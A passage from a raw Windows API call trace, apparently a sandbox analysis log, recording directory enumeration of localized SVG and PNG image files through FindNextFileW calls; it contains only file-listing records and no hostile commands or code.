ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1710, dwReserved0=0x0, dwReserved1=0x0, cFileName="af_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="am_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2594, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="az_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a57, dwReserved0=0x0, dwReserved1=0x0, cFileName="be_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a49, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_get.svg", cAlternateFileName="")) returned 1 [0261.412] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1455, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x151c, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x163d, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="el_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419_get.svg", cAlternateFileName="ES-419~1.SVG")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="et_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_get.svg", cAlternateFileName="")) returned 1 [0261.413] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e89, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1660, dwReserved0=0x0, dwReserved1=0x0, cFileName="id_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184f, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1659, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x173b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms_get.svg", cAlternateFileName="")) returned 1 [0261.414] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1801, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_get.svg", cAlternateFileName="")) returned 1 [0261.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1aab, dwReserved0=0x0, dwReserved1=0x0, cFileName="no_get.svg", cAlternateFileName="")) returned 1 [0261.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x179b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_get.svg", cAlternateFileName="")) returned 1 [0261.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br_get.svg", cAlternateFileName="PT-BR_~1.SVG")) returned 1 [0261.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_get.svg", cAlternateFileName="")) returned 1 [0261.415] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x190d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1696, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1834, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="th_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1541, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_get.svg", cAlternateFileName="")) returned 1 [0261.416] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi_get.svg", cAlternateFileName="")) returned 1 [0261.417] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn_get.svg", cAlternateFileName="ZH-CN_~1.SVG")) returned 1 [0261.417] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb5a07c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb5a07c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb5a07c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-hk_get.svg", cAlternateFileName="ZH-HK_~1.SVG")) returned 1 [0261.417] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18af, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw_get.svg", cAlternateFileName="ZH-TW_~1.SVG")) returned 1 [0261.417] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb33e27, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb33e27, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb33e27, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18af, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw_get.svg", cAlternateFileName="ZH-TW_~1.SVG")) returned 0 [0261.417] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0261.419] GetProcessHeap () returned 0xc10000 [0261.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.419] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="playstore.png", cAlternateFileName="PLAYST~1.PNG")) returned 1 [0261.419] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb802d9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb802d9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb802d9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6644, dwReserved0=0x0, dwReserved1=0x0, cFileName="scanAppLogo.png", cAlternateFileName="SCANAP~2.PNG")) returned 1 [0261.420] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe074, dwReserved0=0x0, dwReserved1=0x0, cFileName="scanAppLogo@2x.png", cAlternateFileName="SCANAP~1.PNG")) returned 1 [0261.420] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe074, dwReserved0=0x0, dwReserved1=0x0, cFileName="scanAppLogo@2x.png", 